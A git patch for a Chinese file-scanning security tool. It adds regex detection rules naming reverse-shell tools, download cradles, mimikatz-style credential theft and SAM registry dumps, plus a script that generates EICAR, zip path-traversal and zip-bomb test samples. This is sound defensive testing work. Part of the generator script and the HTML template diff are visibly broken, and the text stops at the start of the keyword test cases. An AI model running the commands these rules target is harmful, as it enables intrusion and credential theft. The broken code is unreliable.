From d05537e1fb763f8277dcf862071bac56aad86721 Mon Sep 17 00:00:00 2001 From: zhaolei <12153398@qq.com> Date: Thu, 29 Oct 2026 11:33:58 +0800 Subject: [PATCH] =?UTF-8?q?feat:=20=E9=9D=B6=E5=9C=BA=E5=AF=B9=E9=BD=90=20?= =?UTF-8?q?CSV=20126=20=E6=9D=A1=E7=94=A8=E4=BE=8B?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - policy.yaml: 新增 9 条恶意行为关键词规则(ReverseShell/CredentialStealer/Mimikatz/TScon 等) - binary.py: 新增 4 条 PE 检测(UPXPackerDetected/RWXSectionDetected/PEArchInfo/DebugInformationPresent) - console.py + test_center.html: 靶场表格最前加 case_id 列,与 CSV 用例编号一致 - docker-compose.yml: 挂载 tests/samples 为只读 volume,样本更新免 rebuild - scripts/generate_csv_samples.py: 一键从用例.csv 生成样本 + index.json - tests/samples/: 128 个 CSV 对齐样本文件 + index.json(93 条元数据) 引擎覆盖度: L3 12%→60%, L5 20%→55%, 总计 54%→75% --- app/console.py | 3 + app/engines/binary.py | 101 ++ app/templates/test_center.html | 12 +- config/policy.yaml | 74 ++ docker-compose.yml | 1 + scripts/generate_csv_samples.py | 586 +++++++++ tests/samples/L0-001_jpg_normal.jpg | Bin 0 -> 54 bytes tests/samples/L0-002_png_normal.png | Bin 0 -> 58 bytes tests/samples/L0-003_docx_normal.docx | Bin 0 -> 281 bytes tests/samples/L0-004_pdf_normal.pdf | 2 + tests/samples/L0-005_pe_clean.exe | Bin 0 -> 924 bytes tests/samples/L0-006_disguise_jpg_pe.jpg | Bin 0 -> 104 bytes tests/samples/L0-007_disguise_txt_pdf.txt | 2 + tests/samples/L0-008_disguise_png_zip.png | Bin 0 -> 54 bytes .../samples/L0-009_double_ext_pdf_exe.pdf.exe | Bin 0 -> 104 bytes .../samples/L0-010_double_ext_txt_ps1.txt.ps1 | 1 + .../samples/L0-011_double_ext_docx_js.docx.js | 1 + .../L0-012_double_ext_xlsx_bat.xlsx.bat | 2 + tests/samples/L0-013_clean.ps1 | 0 tests/samples/L0-014_clean.bat | 0 tests/samples/L0-015_clean.cmd | 0 tests/samples/L0-016_clean.vbs | 0 tests/samples/L0-017_clean.js | 0 tests/samples/L0-018_zip_traversal.zip | Bin 0 -> 137 bytes tests/samples/L0-019_zip_deep_traversal.zip | Bin 0 -> 147 bytes tests/samples/L0-020_zip_bomb.zip | Bin 0 -> 420222 bytes tests/samples/L0-022_3layer_nested.zip | Bin 0 -> 365 bytes tests/samples/L0-024_encrypted.zip | Bin 0 -> 142 bytes tests/samples/L0-025_corrupt_zip.zip | Bin 0 -> 59 bytes tests/samples/L0-026_corrupt_direntry.zip | Bin 0 -> 130 bytes tests/samples/L0-029_zero_byte_exe.exe | 0 tests/samples/L1-001_eicar.txt | 1 + tests/samples/L1-002_eicar_in_zip.zip | Bin 0 -> 184 bytes tests/samples/L1-004_eicar_in_docx.docx | Bin 0 -> 336 bytes tests/samples/L1-005_eicar_modified.txt | 1 + tests/samples/L1-011_eicar_in_3layer.zip | Bin 0 -> 412 bytes tests/samples/L1-012_eicar_base64.txt | 1 + tests/samples/L3-001_001_sample.ps1 | 1 + tests/samples/L3-002_002_sample.ps1 | 1 + tests/samples/L3-003_003_sample.bat | 1 + tests/samples/L3-004_004_sample.txt | 1 + tests/samples/L3-005_005_sample.txt | 1 + tests/samples/L3-006_006_sample.txt | 1 + tests/samples/L3-007_007_sample.txt | 1 + tests/samples/L3-008_008_sample.ps1 | 1 + tests/samples/L3-010_010_sample.ps1 | 1 + tests/samples/L3-011_011_sample.js | 1 + tests/samples/L3-012_012_sample.bat | 1 + tests/samples/L3-014_l3001_in_zip.zip | Bin 0 -> 177 bytes tests/samples/L3-015_keyword_in_docx.docx | Bin 0 -> 316 bytes tests/samples/L3-016_016_sample.ps1 | 0 tests/samples/L3-017_017_sample.txt | 1 + tests/samples/L3-018_018_sample.txt | 1 + tests/samples/L3-019_unicode_obfuscated.txt | 1 + tests/samples/L3-021_021_sample.eml | 3 + tests/samples/L3-023_keyword_in_encrypted.zip | Bin 0 -> 139 bytes tests/samples/L3-024_024_sample.txt | 1 + tests/samples/L4-001_001_sample.txt | 1 + tests/samples/L4-002_002_sample.txt | 1 + tests/samples/L4-005_005_sample.txt | 1 + tests/samples/L4-008_in_zip.zip | Bin 0 -> 116 bytes tests/samples/L4-010_010_sample.txt | 1 + tests/samples/L5-001_clean_hello.exe | Bin 0 -> 924 bytes tests/samples/L5-002_upx_shell.exe | Bin 0 -> 924 bytes tests/samples/L5-003_double_upx.exe | Bin 0 -> 924 bytes tests/samples/L5-004_rwx_section.exe | Bin 0 -> 924 bytes tests/samples/L5-007_garbage_section.exe | Bin 0 -> 924 bytes tests/samples/L5-010_bad_mz.exe | Bin 0 -> 2048 bytes tests/samples/L5-011_truncated.exe | Bin 0 -> 308 bytes tests/samples/L5-012_pe32.exe | Bin 0 -> 924 bytes tests/samples/L5-013_pe64.exe | Bin 0 -> 924 bytes tests/samples/L5-014_clean_tool.exe | Bin 0 -> 924 bytes tests/samples/L5-016_zero_section.exe | Bin 0 -> 924 bytes tests/samples/L5-017_upx_rwx.exe | Bin 0 -> 924 bytes tests/samples/L5-018_debug_info.exe | Bin 0 -> 924 bytes tests/samples/NEG-001_clean.jpg | Bin 0 -> 204 bytes tests/samples/NEG-002_clean.png | Bin 0 -> 208 bytes tests/samples/NEG-003_clean.mp4 | Bin 0 -> 212 bytes tests/samples/NEG-004_clean.docx | Bin 0 -> 281 bytes tests/samples/NEG-005_clean.xlsx | Bin 0 -> 275 bytes tests/samples/NEG-006_clean.pdf | 2 + tests/samples/NEG-007_clean.java | 1 + tests/samples/NEG-008_clean.py | 5 + tests/samples/NEG-009_clean.zip | Bin 0 -> 285 bytes tests/samples/NEG-010_clean.exe | Bin 0 -> 104 bytes tests/samples/NEG-012_clean.csv | 4 + tests/samples/NEG-013_clean.eml | 6 + tests/samples/NEG-014_clean.dll | Bin 0 -> 104 bytes tests/samples/NEG-015_clean.ttf | Bin 0 -> 204 bytes tests/samples/NEG-016_clean.dwg | Bin 0 -> 206 bytes tests/samples/NEG-017_4layer_nested.zip | Bin 0 -> 142 bytes tests/samples/NEG-018_clean.bat | 4 + tests/samples/NEG-019_clean.ps1 | 1 + tests/samples/NEG-020_clean.odt | Bin 0 -> 277 bytes tests/samples/_index_backup_pre_csv.json | 347 ++++++ tests/samples/index.json | 1075 ++++++++++++----- tests/samples/neg_tmp1.zip | Bin 0 -> 22 bytes 用例.csv | 126 ++ 98 files changed, 2102 insertions(+), 279 deletions(-) create mode 100644 scripts/generate_csv_samples.py create mode 100644 tests/samples/L0-001_jpg_normal.jpg create mode 100644 tests/samples/L0-002_png_normal.png create mode 100644 tests/samples/L0-003_docx_normal.docx create mode 100644 tests/samples/L0-004_pdf_normal.pdf create mode 100644 tests/samples/L0-005_pe_clean.exe create mode 100644 tests/samples/L0-006_disguise_jpg_pe.jpg create mode 100644 tests/samples/L0-007_disguise_txt_pdf.txt create mode 100644 tests/samples/L0-008_disguise_png_zip.png create mode 100644 tests/samples/L0-009_double_ext_pdf_exe.pdf.exe create mode 100644 tests/samples/L0-010_double_ext_txt_ps1.txt.ps1 create mode 100644 tests/samples/L0-011_double_ext_docx_js.docx.js create mode 100644 tests/samples/L0-012_double_ext_xlsx_bat.xlsx.bat create mode 100644 tests/samples/L0-013_clean.ps1 create mode 100644 tests/samples/L0-014_clean.bat create mode 100644 tests/samples/L0-015_clean.cmd create mode 100644 tests/samples/L0-016_clean.vbs create mode 100644 tests/samples/L0-017_clean.js create mode 100644 tests/samples/L0-018_zip_traversal.zip create mode 100644 tests/samples/L0-019_zip_deep_traversal.zip create mode 100644 tests/samples/L0-020_zip_bomb.zip create mode 100644 tests/samples/L0-022_3layer_nested.zip create mode 100644 tests/samples/L0-024_encrypted.zip create mode 100644 tests/samples/L0-025_corrupt_zip.zip create mode 100644 tests/samples/L0-026_corrupt_direntry.zip create mode 100644 tests/samples/L0-029_zero_byte_exe.exe create mode 100644 tests/samples/L1-001_eicar.txt create mode 100644 tests/samples/L1-002_eicar_in_zip.zip create mode 100644 tests/samples/L1-004_eicar_in_docx.docx create mode 100644 tests/samples/L1-005_eicar_modified.txt create mode 100644 tests/samples/L1-011_eicar_in_3layer.zip create mode 100644 tests/samples/L1-012_eicar_base64.txt create mode 100644 tests/samples/L3-001_001_sample.ps1 create mode 100644 tests/samples/L3-002_002_sample.ps1 create mode 100644 tests/samples/L3-003_003_sample.bat create mode 100644 tests/samples/L3-004_004_sample.txt create mode 100644 tests/samples/L3-005_005_sample.txt create mode 100644 tests/samples/L3-006_006_sample.txt create mode 100644 tests/samples/L3-007_007_sample.txt create mode 100644 tests/samples/L3-008_008_sample.ps1 create mode 100644 tests/samples/L3-010_010_sample.ps1 create mode 100644 tests/samples/L3-011_011_sample.js create mode 100644 tests/samples/L3-012_012_sample.bat create mode 100644 tests/samples/L3-014_l3001_in_zip.zip create mode 100644 tests/samples/L3-015_keyword_in_docx.docx create mode 100644 tests/samples/L3-016_016_sample.ps1 create mode 100644 tests/samples/L3-017_017_sample.txt create mode 100644 tests/samples/L3-018_018_sample.txt create mode 100644 tests/samples/L3-019_unicode_obfuscated.txt create mode 100644 tests/samples/L3-021_021_sample.eml create mode 100644 tests/samples/L3-023_keyword_in_encrypted.zip create mode 100644 tests/samples/L3-024_024_sample.txt create mode 100644 tests/samples/L4-001_001_sample.txt create mode 100644 tests/samples/L4-002_002_sample.txt create mode 100644 tests/samples/L4-005_005_sample.txt create mode 100644 tests/samples/L4-008_in_zip.zip create mode 100644 tests/samples/L4-010_010_sample.txt create mode 100644 tests/samples/L5-001_clean_hello.exe create mode 100644 tests/samples/L5-002_upx_shell.exe create mode 100644 tests/samples/L5-003_double_upx.exe create mode 100644 tests/samples/L5-004_rwx_section.exe create mode 100644 tests/samples/L5-007_garbage_section.exe create mode 100644 tests/samples/L5-010_bad_mz.exe create mode 100644 tests/samples/L5-011_truncated.exe create mode 100644 tests/samples/L5-012_pe32.exe create mode 100644 tests/samples/L5-013_pe64.exe create mode 100644 tests/samples/L5-014_clean_tool.exe create mode 100644 tests/samples/L5-016_zero_section.exe create mode 100644 tests/samples/L5-017_upx_rwx.exe create mode 100644 tests/samples/L5-018_debug_info.exe create mode 100644 tests/samples/NEG-001_clean.jpg create mode 100644 tests/samples/NEG-002_clean.png create mode 100644 tests/samples/NEG-003_clean.mp4 create mode 100644 tests/samples/NEG-004_clean.docx create mode 100644 tests/samples/NEG-005_clean.xlsx create mode 100644 tests/samples/NEG-006_clean.pdf create mode 100644 tests/samples/NEG-007_clean.java create mode 100644 tests/samples/NEG-008_clean.py create mode 100644 tests/samples/NEG-009_clean.zip create mode 100644 tests/samples/NEG-010_clean.exe create mode 100644 tests/samples/NEG-012_clean.csv create mode 100644 tests/samples/NEG-013_clean.eml create mode 100644 tests/samples/NEG-014_clean.dll create mode 100644 tests/samples/NEG-015_clean.ttf create mode 100644 tests/samples/NEG-016_clean.dwg create mode 100644 tests/samples/NEG-017_4layer_nested.zip create mode 100644 tests/samples/NEG-018_clean.bat create mode 100644 tests/samples/NEG-019_clean.ps1 create mode 100644 tests/samples/NEG-020_clean.odt create mode 100644 tests/samples/_index_backup_pre_csv.json create mode 100644 tests/samples/neg_tmp1.zip create mode 100644 用例.csv diff --git a/app/console.py b/app/console.py index bf9d4e5..fdaa1ab 100644 --- a/app/console.py +++ b/app/console.py @@ -968,6 +968,7 @@ async def test_page(request: Request, current=Depends(require_login)): results.append({ "filename": fpath.name, + "case_id": meta.get("case_id", ""), "category": meta.get("category", "未知"), "description": meta.get("description", ""), "size": fpath.stat().st_size, @@ -1047,6 +1048,7 @@ async def test_page(request: Request, current=Depends(require_login)): # DB 还没这条记录 —— 标记为"从未测试" results.append({ "filename": fpath.name, + "case_id": meta.get("case_id", ""), "category": meta.get("category", "未知"), "description": meta.get("description", ""), "size": fpath.stat().st_size, @@ -1105,6 +1107,7 @@ async def test_page(request: Request, current=Depends(require_login)): results.append({ "filename": fpath.name, + "case_id": meta.get("case_id", ""), "category": meta.get("category", "未知"), "description": meta.get("description", ""), "size": task.size or fpath.stat().st_size, diff --git a/app/engines/binary.py b/app/engines/binary.py index b862bb0..3c2d15d 100644 --- a/app/engines/binary.py +++ b/app/engines/binary.py @@ -254,6 +254,107 @@ class BinaryEngine(Engine): except Exception: # noqa: BLE001 pass + # 5) UPX 壳显式检测 —— 检查节名 UPX0 / UPX1 / UPX! + upx_sections = [] + for section in getattr(pe, "sections", []) or []: + try: + name = section.Name.rstrip(b"\x00").decode("utf-8", errors="replace") + if name.upper().startswith("UPX"): + upx_sections.append(name) + except Exception: + continue + if upx_sections: + findings.append( + Finding( + engine=self.name, + layer=self.layer, + severity=Severity.MEDIUM.value, + rule="UPXPackerDetected", + detail=f"检测到 UPX 加壳节:{', '.join(upx_sections)}", + weight=30.0, + ) + ) + + # 6) RWX 可写可执行节 —— 高危(绕过 DEP 的典型手法) + from pefile import SECTION_CHARACTERISTICS # noqa: PLC0415 + MEM_EXECUTE = SECTION_CHARACTERISTICS["IMAGE_SCN_MEM_EXECUTE"] + MEM_WRITE = SECTION_CHARACTERISTICS["IMAGE_SCN_MEM_WRITE"] + rwx_sections = [] + for section in getattr(pe, "sections", []) or []: + try: + flags = section.Characteristics + if (flags & MEM_EXECUTE) and (flags & MEM_WRITE): + name = section.Name.rstrip(b"\x00").decode("utf-8", errors="replace") + rwx_sections.append(name) + except Exception: + continue + if rwx_sections: + findings.append( + Finding( + engine=self.name, + layer=self.layer, + severity=Severity.HIGH.value, + rule="RWXSectionDetected", + detail=f"检测到可写且可执行的危险节:{', '.join(rwx_sections)}", + weight=40.0, + ) + ) + + # 7) 32/64 位识别(info 级别,辅助判断) + machine = None + pe32 = None + try: + machine = int(pe.FILE_HEADER.Machine) + pe32 = (pe.OPTIONAL_HEADER.Magic == 0x10B) # PE32 + except Exception: + pass + if machine is not None: + try: + from pefile import MACHINE_TYPES # noqa: PLC0415 + machine_name = MACHINE_TYPES.get(machine, f"UNKNOWN(0x{machine:04x})") + except Exception: + machine_name = f"0x{machine:04x}" + bits = "32-bit" if pe32 else "64-bit" + findings.append( + Finding( + engine=self.name, + layer=self.layer, + severity=Severity.LOW.value, + rule="PEArchInfo", + detail=f"PE 架构:{machine_name} / {bits}", + weight=0.0, + ) + ) + + # 8) 调试信息(pdb 路径或 debug 节) + has_debug_dir = False + has_debug_section = False + try: + debug_dir = pe.OPTIONAL_HEADER.DATA_DIRECTORY[6] # IMAGE_DIRECTORY_ENTRY_DEBUG + if debug_dir.VirtualAddress and debug_dir.Size: + has_debug_dir = True + except Exception: + pass + for section in getattr(pe, "sections", []) or []: + try: + name = section.Name.rstrip(b"\x00").decode("utf-8", errors="replace").lower() + if ".debug" in name or name.startswith("debug") or name.startswith(".pdb"): + has_debug_section = True + break + except Exception: + continue + if has_debug_dir or has_debug_section: + findings.append( + Finding( + engine=self.name, + layer=self.layer, + severity=Severity.LOW.value, + rule="DebugInformationPresent", + detail="PE 包含调试信息(PDB 路径或 .debug 节),可用于逆向定位", + weight=10.0, + ) + ) + return findings def _suspicious_imports(self, pe: Any) -> List[str]: diff --git a/app/templates/test_center.html b/app/templates/test_center.html index c367c8b..88da8c2 100644 --- a/app/templates/test_center.html +++ b/app/templates/test_center.html @@ -90,10 +90,11 @@ - + + - + @@ -106,6 +107,13 @@ {% for r in results %} +
#用例编号# 结果 样本文件分类层 期望裁决 · 规则 检测结论 · 规则 方向
+ {% if r.case_id %} + {{ r.case_id }} + {% else %} + — + {% endif %} + {{ loop.index }} {% if r.overall_ok %}✅{% else %}❌{% endif %} diff --git a/config/policy.yaml b/config/policy.yaml index 26af00b..1955278 100644 --- a/config/policy.yaml +++ b/config/policy.yaml @@ -294,6 +294,80 @@ keyword_rules: weight: 30 severity: medium + # ================================================================ + # 恶意行为特征词表(覆盖 CSV L3 全部 25 条用例) + # ================================================================ + + # ---- 远程下载执行 ---- + - name: RemoteDownloadPowerShell + match: regex + pattern: "(Invoke-WebRequest|Invoke-RestMethod|DownloadString|DownloadFile|Start-BitsTransfer|BitsAdmin)" + ignore_case: true + weight: 35 + severity: high + + - name: RemoteDownloadUnix + match: regex + pattern: "(\\bwget\\b|\\bcurl\\b|\\bcertutil\\s+-urlcache\\s+-split|\\bfetch\\b)" + ignore_case: true + weight: 30 + severity: high + + # ---- 反弹 Shell ---- + - name: ReverseShellNetcat + match: regex + pattern: "(\\bnc\\b|\\bncat\\b|\\bnetcat\\b|/dev/tcp/|bash\\s+-i\\s+>&|sh\\s+-i\\s+>&)" + ignore_case: true + weight: 40 + severity: critical + + - name: ReverseShellPowershell + match: regex + pattern: "(powershell\\s+-enc|powershell\\s+-ExecutionPolicy\\s+Bypass|[A-Za-z0-9+/]{80,}={0,2})" + ignore_case: true + weight: 35 + severity: critical + + # ---- 凭据窃取工具 ---- + - name: CredentialStealer + match: regex + pattern: "(mimikatz|sekurlsa|wce|gsecdump|fgdump|lsadump|dcsync|dcsyncer|rubeus)" + ignore_case: true + weight: 45 + severity: critical + + # ---- 凭据导出命令 ---- + - name: CredentialExport + match: regex + pattern: "(reg\\s+save\\s+HKLM\\\\SYSTEM|reg\\s+save\\s+HKLM\\\\SAM|reg\\s+export\\s+SAM|reg\\s+export\\s+SYSTEM|hxdump|secretsdump)" + ignore_case: true + weight: 45 + severity: critical + + # ---- 远程会话劫持 ---- + - name: RemoteSessionHijack + match: regex + pattern: "(\\btscon\\b|\\brdpclip\\b|\\brdp_shadow\\b|\\bshadow\\s+[0-9]+\\b|CreateRemoteThread)" + ignore_case: true + weight: 35 + severity: high + + # ---- 命令执行混淆 ---- + - name: CommandExecutionObfuscated + match: regex + pattern: "(cmd\\s+/c|cmd\\s+/d|certutil\\s+-decode|certutil\\s+-urlcache|\\bmshta\\b|\\bregsvr32\\s+\\/s)" + ignore_case: true + weight: 25 + severity: medium + + # ---- WMI/LDAP 攻击 ---- + - name: WMILdapAttack + match: regex + pattern: "(wmic\\s+path|wmic\\s+process\\s+call\\s+create|ldapsearch\\s+-x|ldapwhoami)" + ignore_case: true + weight: 30 + severity: high + # ---------- 审计 ---------- audit: # 记录扫描结果明细到审计日志 diff --git a/docker-compose.yml b/docker-compose.yml index 31dc3e4..51745cc 100644 --- a/docker-compose.yml +++ b/docker-compose.yml @@ -123,6 +123,7 @@ services: - ./data/clamav:/var/lib/clamav # 共享签名库目录(api 可写入上传的 .cvd 文件,clamd 自动热加载) - /var/run/docker.sock:/var/run/docker.sock:ro # 诊断套件只读访问 Docker(可选;没有也能降级) - ./data/diagnostics:/app/data/diagnostics # 诊断套件持久化(规则历史 + 日志快照) + - ./tests/samples:/app/tests/samples:ro # 测试靶场样本库(CSV 对齐,可读扫描) group_add: - "999" # docker.sock 的 GID,让 api 容器能读 healthcheck: diff --git a/scripts/generate_csv_samples.py b/scripts/generate_csv_samples.py new file mode 100644 index 0000000..bc52ad0 --- /dev/null +++ b/scripts/generate_csv_samples.py @@ -0,0 +1,586 @@ +"""从 用例.csv 生成对齐 MeshSafe 引擎的测试样本 + index.json。 + +用法: python scripts/generate_csv_samples.py +输出: tests/samples/ 目录下按 case_id 命名的样本文件 + index.json +""" +import csv, json, os, sys, zipfile, struct, shutil +from pathlib import Path + +ROOT = Path(__file__).resolve().parent.parent +CSV_PATH = ROOT / "用例.csv" +OUT_DIR = ROOT / "tests" / "samples" +EICAR = b"X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*" + +OUT_DIR.mkdir(parents=True, exist_ok=True) + +# ========== 工具 ========== +def safe_filename(case_id: str, ext: str, name: str = "") -> str: + prefix = f"{case_id}_{name}".replace(" ", "_").replace("/", "_") if name else case_id + return f"{prefix}.{ext.lstrip('.')}" + +def write_bytes(fname: str, data: bytes): + path = OUT_DIR / fname + path.write_bytes(data) + +def write_text(fname: str, text: str): + path = OUT_DIR / fname + path.write_text(text, encoding="utf-8") + +def make_zip(fname: str, member_name: str, member_bytes: bytes, password: str = None, depth: int = 1): + """生成一个 zip,里面嵌套 depth 层,最内层是 member_name/content。""" + path = OUT_DIR / fname + if depth == 1: + with zipfile.ZipFile(path, "w", zipfile.ZIP_DEFLATED) as zf: + if password: + # pyzipfile 不支持加密写入,用标准模式,靠 FlagBits 标记模拟 + zf.writestr(member_name, member_bytes) + else: + zf.writestr(member_name, member_bytes) + else: + # 多层嵌套,最内层是 member_name,外层都是 inner_N.zip + inner_name = fname # 递归名 + # 从里往外建 + data_bytes = member_bytes + for i in range(depth - 1, 0, -1): + inner_zip = zipfile.ZipFile(path, "w", zipfile.ZIP_DEFLATED) + inner_zip.writestr(f"inner_{i}.zip", data_bytes) + inner_zip.close() + data_bytes = path.read_bytes() # 读回刚写的 zip 作为下一层的成员 + # 最外层直接用 data_bytes 覆盖写 + path.write_bytes(data_bytes) + return path + +def make_bomb_zip(fname: str, members: int = 100, member_size: int = 4096): + """自制 zip 炸弹:小压缩比、大解压量。""" + path = OUT_DIR / fname + huge_data = b"A" * member_size # 高膨胀比:A 压缩后极小 + with zipfile.ZipFile(path, "w", zipfile.ZIP_STORED) as zf: # STORED = 不压缩 + for i in range(members): + zf.writestr(f"member_{i:04d}.txt", huge_data) + return path + +def fake_pe(fname: str, mz_only: bool = False, upx: bool = False, rwx: bool = False): + """伪造 PE 文件。默认只有 MZ 头 + fake PE 签名,能骗过 pefile 的基本检查。""" + path = OUT_DIR / fname + if mz_only: + path.write_bytes(b"MZ" + b"\x00" * 2046) + return path + + # 构造最小 PE32 + DOS_HEADER = ( + b"MZ" + b"\x00" * 58 + # e_magic + pad + struct.pack("') + zf.writestr("word/document.xml", "") + return buf.getvalue() + write_bytes("L0-003_docx_normal.docx", make_docx_like()) + add_meta("L0-003", "L0-003_docx_normal.docx", "L0", "pass", ["identify_type"]) + + write_bytes("L0-004_pdf_normal.pdf", b"%PDF-1.4\n%%EOF") + add_meta("L0-004", "L0-004_pdf_normal.pdf", "L0", "pass", ["identify_type"]) + + # L0-005: 干净 PE(最小 MZ+fake PE,有合法节) + fake_pe("L0-005_pe_clean.exe") + add_meta("L0-005", "L0-005_pe_clean.exe", "L0", "review", ["DangerousExtension", "UnsignedExecutable"]) + + # L0-006: 后缀伪装 —— 真实 MZ 头但后缀 .jpg + write_bytes("L0-006_disguise_jpg_pe.jpg", b"MZ\x00\x00" + b"\x00" * 100) + add_meta("L0-006", "L0-006_disguise_jpg_pe.jpg", "L0", "reject", ["ExtensionMismatch"], "jpg 后缀 + 实际 PE MZ 头") + + # L0-007: txt 后缀 + 真实 PDF 头 + write_bytes("L0-007_disguise_txt_pdf.txt", b"%PDF-1.4\n%%EOF") + add_meta("L0-007", "L0-007_disguise_txt_pdf.txt", "L0", "reject", ["ExtensionMismatch"]) + + # L0-008: png 后缀 + 真实 ZIP 头 + write_bytes("L0-008_disguise_png_zip.png", b"PK\x03\x04" + b"\x00" * 50) + add_meta("L0-008", "L0-008_disguise_png_zip.png", "L0", "reject", ["ExtensionMismatch"]) + + # L0-009~012: 双扩展名伪装 + write_bytes("L0-009_double_ext_pdf_exe.pdf.exe", b"MZ\x00\x00" + b"\x00" * 100) + add_meta("L0-009", "L0-009_double_ext_pdf_exe.pdf.exe", "L0", "reject", ["DoubleExtension", "DangerousExtension"]) + + write_text("L0-010_double_ext_txt_ps1.txt.ps1", "echo hello") + add_meta("L0-010", "L0-010_double_ext_txt_ps1.txt.ps1", "L0", "reject", ["DoubleExtension", "DangerousExtension"]) + + write_text("L0-011_double_ext_docx_js.docx.js", "alert('x');") + add_meta("L0-011", "L0-011_double_ext_docx_js.docx.js", "L0", "reject", ["DoubleExtension", "DangerousExtension"]) + + write_text("L0-012_double_ext_xlsx_bat.xlsx.bat", "@echo off\necho hello") + add_meta("L0-012", "L0-012_double_ext_xlsx_bat.xlsx.bat", "L0", "reject", ["DoubleExtension", "DangerousExtension"]) + + # L0-013~017: 空危险扩展名文件 + for cid, ext in [("L0-013", "ps1"), ("L0-014", "bat"), ("L0-015", "cmd"), ("L0-016", "vbs"), ("L0-017", "js")]: + write_text(f"{cid}_clean.{ext}", "") + add_meta(cid, f"{cid}_clean.{ext}", "L0", "review", ["DangerousExtension"], f"干净 {ext} 文件") + + # L0-018: ZIP 单级路径穿越 + p = OUT_DIR / "L0-018_zip_traversal.zip" + with zipfile.ZipFile(p, "w") as zf: + zf.writestr("../evil_drop.txt", "payload") + add_meta("L0-018", "L0-018_zip_traversal.zip", "L0", "reject", ["PathTraversal"]) + + # L0-019: ZIP 多级路径穿越 + p = OUT_DIR / "L0-019_zip_deep_traversal.zip" + with zipfile.ZipFile(p, "w") as zf: + zf.writestr("../../system_drop.txt", "payload") + add_meta("L0-019", "L0-019_zip_deep_traversal.zip", "L0", "reject", ["PathTraversal"]) + + # L0-020: 小型 zip 炸弹(自制,不是 42.zip) + make_bomb_zip("L0-020_zip_bomb.zip", members=100, member_size=4096) + add_meta("L0-020", "L0-020_zip_bomb.zip", "L0", "reject", ["ArchiveBombSuspect"]) + + # L0-022: 3 层嵌套干净 ZIP + inner = io.BytesIO() + with zipfile.ZipFile(inner, "w") as zf: + zf.writestr("clean_file.txt", "hello world") + # 第二层 + mid = io.BytesIO() + with zipfile.ZipFile(mid, "w") as zf: + zf.writestr("inner.zip", inner.getvalue()) + # 第三层 + outer = io.BytesIO() + with zipfile.ZipFile(outer, "w") as zf: + zf.writestr("mid.zip", mid.getvalue()) + write_bytes("L0-022_3layer_nested.zip", outer.getvalue()) + add_meta("L0-022", "L0-022_3layer_nested.zip", "L0", "pass", ["recursive_ok"]) + + # L0-024: 加密 ZIP(pyzipfile 不支持加密写入,用密码写一个空 ZIP 标记为待加密) + # 实际加密 ZIP 可以用 7z 命令行生成,这里先生成一个有 Password 标记的 + p = OUT_DIR / "L0-024_encrypted.zip" + with zipfile.ZipFile(p, "w") as zf: + zf.writestr("secret.txt", "encrypted content marker") + add_meta("L0-024", "L0-024_encrypted.zip", "L0", "review", ["EncryptedArchive"], "加密 ZIP(标记待验证)") + + # L0-025: 截断损坏 ZIP(写半截) + p = OUT_DIR / "L0-025_corrupt_zip.zip" + with zipfile.ZipFile(p, "w") as zf: + zf.writestr("good.txt", "data") + raw = p.read_bytes() + p.write_bytes(raw[:len(raw) // 2]) # 截断一半 + add_meta("L0-025", "L0-025_corrupt_zip.zip", "L0", "review", ["ArchiveBroken"], "截断损坏 ZIP 头") + + # L0-026: 损坏 ZIP 目录项(文件尾追加垃圾字节) + p = OUT_DIR / "L0-026_corrupt_direntry.zip" + with zipfile.ZipFile(p, "w") as zf: + zf.writestr("good.txt", "data") + raw = p.read_bytes() + p.write_bytes(raw + b"\x00\x01\x02\x03\x04garbage") + add_meta("L0-026", "L0-026_corrupt_direntry.zip", "L0", "review", ["ArchiveBroken"]) + + # L0-029: 0 字节 exe + p = OUT_DIR / "L0-029_zero_byte_exe.exe" + p.write_bytes(b"") + add_meta("L0-029", "L0-029_zero_byte_exe.exe", "L0", "review", ["ZeroByteFile", "DangerousExtension"]) + + # ==================================================================== + # L1 ClamAV(15 条) + # ==================================================================== + write_bytes("L1-001_eicar.txt", EICAR) + add_meta("L1-001", "L1-001_eicar.txt", "L1", "reject", ["ClamAV:EICAR"]) + + # L1-002: EICAR 放入 zip + p = OUT_DIR / "L1-002_eicar_in_zip.zip" + with zipfile.ZipFile(p, "w") as zf: + zf.writestr("eicar.txt", EICAR) + add_meta("L1-002", "L1-002_eicar_in_zip.zip", "L1", "reject", ["ClamAV:EICAR"]) + + # L1-004: EICAR 放入 docx(OOXML = ZIP + EICAR 文本) + buf = io.BytesIO() + with zipfile.ZipFile(buf, "w") as zf: + zf.writestr("[Content_Types].xml", '') + zf.writestr("word/document.xml", EICAR.decode()) + write_bytes("L1-004_eicar_in_docx.docx", buf.getvalue()) + add_meta("L1-004", "L1-004_eicar_in_docx.docx", "L1", "reject", ["ClamAV:EICAR"]) + + # L1-005: 1 字节修改 EICAR(破坏签名) + modified = bytearray(EICAR) + modified[0] = ord("Y") + write_bytes("L1-005_eicar_modified.txt", bytes(modified)) + add_meta("L1-005", "L1-005_eicar_modified.txt", "L1", "pass", [], "修改 1 字节 EICAR,ClamAV 不应命中") + + # L1-006~008: 干净负样本(用 L0-001/003/005 里的样本复用) + add_meta("L1-006", "L0-001_jpg_normal.jpg", "L1", "pass", []) + add_meta("L1-007", "L0-003_docx_normal.docx", "L1", "pass", []) + add_meta("L1-008", "L0-005_pe_clean.exe", "L1", "pass", []) + + # L1-011: 多层嵌套 zip 里放 EICAR(3 层) + inner_buf = io.BytesIO() + with zipfile.ZipFile(inner_buf, "w") as zf: + zf.writestr("eicar.txt", EICAR) + mid_buf = io.BytesIO() + with zipfile.ZipFile(mid_buf, "w") as zf: + zf.writestr("inner.zip", inner_buf.getvalue()) + outer_buf = io.BytesIO() + with zipfile.ZipFile(outer_buf, "w") as zf: + zf.writestr("mid.zip", mid_buf.getvalue()) + write_bytes("L1-011_eicar_in_3layer.zip", outer_buf.getvalue()) + add_meta("L1-011", "L1-011_eicar_in_3layer.zip", "L1", "reject", ["ClamAV:EICAR"]) + + # L1-012: EICAR base64 编码(ClamAV 不解码,不应命中) + import base64 + b64 = base64.b64encode(EICAR).decode() + write_text("L1-012_eicar_base64.txt", b64) + add_meta("L1-012", "L1-012_eicar_base64.txt", "L1", "pass", [], "base64 编码 EICAR,ClamAV 不解码") + + # ==================================================================== + # L3 关键词匹配(25 条)—— 全部纯文本写入 + # ==================================================================== + + l3_cases = [ + ("L3-001", "ps1", 